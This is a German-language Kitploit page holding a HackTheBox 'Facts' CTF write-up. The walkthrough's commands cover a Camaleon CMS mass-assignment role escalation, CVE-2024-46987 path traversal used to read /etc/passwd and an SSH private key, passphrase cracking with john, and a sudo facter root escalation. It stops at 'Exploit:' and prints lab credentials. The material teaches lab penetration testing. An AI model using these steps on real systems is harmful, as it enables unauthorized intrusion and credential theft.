Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HackTheBox-Facts — HTB Facts ist eine einfache Linux-Box mit Camaleon CMS und MinIO. Erhalten Sie Admin-Zugriff über offene Registrierung und eine Massenzuweisungsschwachstelle, extrahieren Sie dann MinIO-Anmeldeinformationen aus den Admin-Einstellungen. Verwenden Sie CVE-2024-46987 Path Traversal, um einen SSH-privaten Schlüssel zu stehlen, knacken Sie dessen Passphrase und eskalieren Sie zu Root, indem Sie sudo-Berechtigungen für facter über GTFOBins missbrauchen. | Kitploit
Tools/GitHubGitHub/suriyaboon/hackthebox-facts
Privilege EscalationAufklärungPasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsCloud-Sicherheit

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

HTB Facts ist eine einfache Linux-Box mit Camaleon CMS und MinIO. Erhalten Sie Admin-Zugriff über offene Registrierung und eine Massenzuweisungsschwachstelle, extrahieren Sie dann MinIO-Anmeldeinformationen aus den Admin-Einstellungen. Verwenden Sie CVE-2024-46987 Path Traversal, um einen SSH-privaten Schlüssel zu stehlen, knacken Sie dessen Passphrase und eskalieren Sie zu Root, indem Sie sudo-Berechtigungen für facter über GTFOBins missbrauchen.

Lernen & Bildung
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Repository anzeigen
20vor 15 TagenNoch nicht geprüft
Teilen

HTB Facts — Vollständiger Writeup

OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation


Inhaltsverzeichnis

  1. Reconnaissance
  2. Web Enumeration — Port 80
  3. MinIO Discovery — Port 54321
  4. Camaleon CMS — Admin Access
  5. Privilege Escalation zur Admin-Rolle
  6. MinIO Credentials Discovery
  7. Arbitrary File Read — CVE-2024-46987
  8. SSH Access als trivia
  9. Privilege Escalation zu Root
  10. Flags

Reconnaissance

Beginne mit einem vollständigen TCP-Port-Scan, um offene Dienste zu identifizieren.

nmap -p- --min-rate 5000 -T4 10.129.244.96

Ergebnisse:

PortDienstAnmerkungen
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321UnbekanntAls MinIO identifiziert

Füge das Ziel zu /etc/hosts hinzu:

echo "10.129.244.96 facts.htb" >> /etc/hosts

Web Enumeration — Port 80

Beim Aufrufen von http://facts.htb erscheint eine Quiz-Website, die auf Camaleon CMS (Ruby on Rails) basiert. Wichtige Indikatoren:

  • Cookie-Name: _factsapp_session (Rails-Session)
  • Asset-Pfade: /assets/themes/camaleon_first/
  • CSRF-Token in Meta-Tags
  • Server: nginx/1.26.3 (Ubuntu)

Enumeriere die Sitemap für alle verfügbaren Seiten:

curl -s http://facts.htb/sitemap.xml

Bemerkenswerte entdeckte Pfade:

  • /admin → leitet weiter zu /admin/login
  • /rss
  • Verschiedene Quiz-Seiten: /animal-ejected, /anne-frank, usw.

Prüfe auf das Admin-Login-Panel:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

MinIO Discovery — Port 54321

Das Sondieren des unbekannten Ports mit curl offenbart MinIO, einen S3-kompatiblen Objektspeicherdienst:

curl -v http://facts.htb:54321

Antwort:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Die Header bestätigen: Server: MinIO

Probiere potenzielle Bucket-Namen aus (eine 403-Antwort allein bestätigt nicht, dass ein Bucket existiert):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Alle geben 403 Forbidden zurück — die Buckets existieren, erfordern aber Anmeldedaten.


Camaleon CMS — Admin Access

Identifizierung des CMS

Anhand der Asset-Pfade und des Session-Cookies wird das CMS als Camaleon CMS identifiziert.

Prüfe auf bekannte Schwachstellen:

searchsploit camaleon

Ergebnisse:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

Die Version des Admin-Panels wird als 2.9.0 bestätigt (sichtbar im Footer nach dem Einloggen).

Erstellen eines Kontos

Die Admin-Login-Seite unter http://facts.htb/admin/login enthält einen Link "Create an account". Registriere ein neues Konto:

  • Navigiere zu http://facts.htb/admin/users/sign_up
  • Gib beliebige gültige Anmeldedaten ein (z. B. test123 / test123)
  • Sende das Formular ab — dadurch wird ein Konto mit der Rolle Client erstellt

Nach der Registrierung melde dich im Admin-Dashboard an. Das Konto hat eingeschränkte Client-Rechte.


Privilege Escalation zur Admin-Rolle

Mass-Assignment-Schwachstelle

Camaleon CMS ist anfällig für einen Mass-Assignment-Angriff auf den Passwortänderungs-Endpunkt. Durch Abfangen der Passwortänderungsanfrage und Injizieren eines password[role]-Parameters kann ein Angreifer seine eigene Rolle zu admin eskalieren.

Schritte mit Burp Suite:

  1. Melde dich mit dem Client-Konto im Admin-Panel an.
  2. Navigiere zu Profile → Edit → Change Password.
  3. Gib ein beliebiges neues Passwort ein und klicke auf Process.
  4. Fange die POST-Anfrage in Burp Suite ab.
  5. Hänge &password[role]=admin an den Request-Body an:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Leite die Anfrage weiter — die Antwort sollte 200 OK sein.
  2. Melde dich erneut mit den aktualisierten Anmeldedaten an.

Das Konto hat nun admin-Rechte, was vollen Zugriff auf das CMS-Admin-Panel gewährt, einschließlich Settings, Media und Filesystem Settings.


MinIO Credentials Discovery

Mit Admin-Zugriff navigiere zu:

Settings → General Site → Filesystem Settings

Die Seite offenbart fest kodierte MinIO- (AWS S3-kompatible) Anmeldedaten:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Konfiguriere die AWS CLI und enumeriere die Buckets:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Entdeckte Buckets:

2025-09-11  internal
2025-09-11  randomfacts

Der internal-Bucket enthält das Home-Verzeichnis des Benutzers trivia:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Arbitrary File Read — CVE-2024-46987

Alternativ kann der SSH-Private-Key über CVE-2024-46987 abgerufen werden, eine authentifizierte Path-Traversal-Schwachstelle in Camaleon CMS, die das Lesen beliebiger Serverdateien ermöglicht.

Klone den öffentlichen PoC:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Lies sensible Dateien:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Ausgabe (relevante Zeilen):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Zwei Benutzer werden identifiziert: trivia und william. Da trivia eine Login-Shell und ein Home-Verzeichnis hat, prüfe auf einen SSH-Private-Key:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Speichere die Key-Ausgabe in einer Datei:

chmod 600 id_ed25519

SSH Access als trivia

Knacken der SSH-Key-Passphrase

Der SSH-Private-Key ist mit einer Passphrase verschlüsselt. Verwende ssh2john und john, um sie zu knacken:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Geknackte Passphrase: dragonballz

Login via SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Rufe die User-Flag ab:

cat /home/william/user.txt

Privilege Escalation zu Root

Sudo-Berechtigungen

Prüfe die Sudo-Berechtigungen für den Benutzer trivia:

sudo -l

Ausgabe:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Der Benutzer kann /usr/bin/facter als Root ohne Passwort ausführen. facter ist ein Ruby-basiertes Systeminformationswerkzeug.

GTFOBins — facter

Laut GTFOBins kann facter benutzerdefinierte Ruby-Fact-Dateien über --custom-dir laden, die als der aufrufende Benutzer ausgeführt werden (in diesem Fall Root).

Exploit:

Tool herunterladen